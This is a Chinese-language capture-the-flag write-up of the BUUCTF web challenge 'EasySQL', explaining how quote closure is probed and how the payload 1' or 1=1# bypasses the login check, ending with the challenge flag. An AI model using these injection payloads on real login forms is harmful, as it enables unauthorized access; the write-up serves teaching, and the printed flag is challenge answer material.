[极客大挑战 2019]EasySQL
[极客大挑战 2019]EasySQL
题目来源:buuctf
题目类型:web
涉及考点:SQL注入
1. 先看题目,给了两个输入框:
2. 随便输入几个数进去,例如username=123,password=123:
- 页面回显说是错误的用户密码,但注意到url中采用的是get传参:
3. 下一步寻找注入点,我们可以假设数据库中的查询语句为:
select * from user where username='$username' and password='$password' ....(后续内容);
那么这时我们构造payload如:username=1' or 1=1 ; password=1' or 1=1
,查询语句就变为了:
select * from user where username='1' or 1=1' and password='1' or 1=1' ....(后续内容);
注意此时单引号的闭合情况为:
'1' //左边的引号为查询语句中自带的引号,右边的引号为传入username中的引号
' and password=' //左边的引号为查询语句中username的第二个引号,右边的引号为查询语句中password的第一个引号
' or 1=1' //左边的引号为传入password中的引号,右边的引号为查询语句中password的第二个引号
很明显在username='1'
之后的内容应该会报错,我们将构造的payload传入,发现页面确实有报错回显:
且报错信息与我们预测的一致。
在注入的过程中,会遇到很多奇怪的闭合,大家可以多多尝试
假设此处我们构造的是双引号的闭合,例如username=1" or 1=1,password=1" or 1=1,则按照假设的查询语句变为如下:
select * from user where username='1" or 1=1' and password='1" or 1=1' ....(后续内容);
此时查询语句自身的单引号成功闭合,传入的双引号被当作字符闭合进单引号内,因此不会报错。
4. 确定了password为注入点后,我们把username的闭合去掉,在password最后加上注释符号,将后续内容给注释掉,避免报错。最终构造的payload如下:
select * from user where username='1' and password='1' or 1=1#' ....(后续内容);
将其传入得到flag:
flag{594f938c-a447-4a3b-a595-2d93ac20a30b}
日期:2023.7.14
作者:y0Zero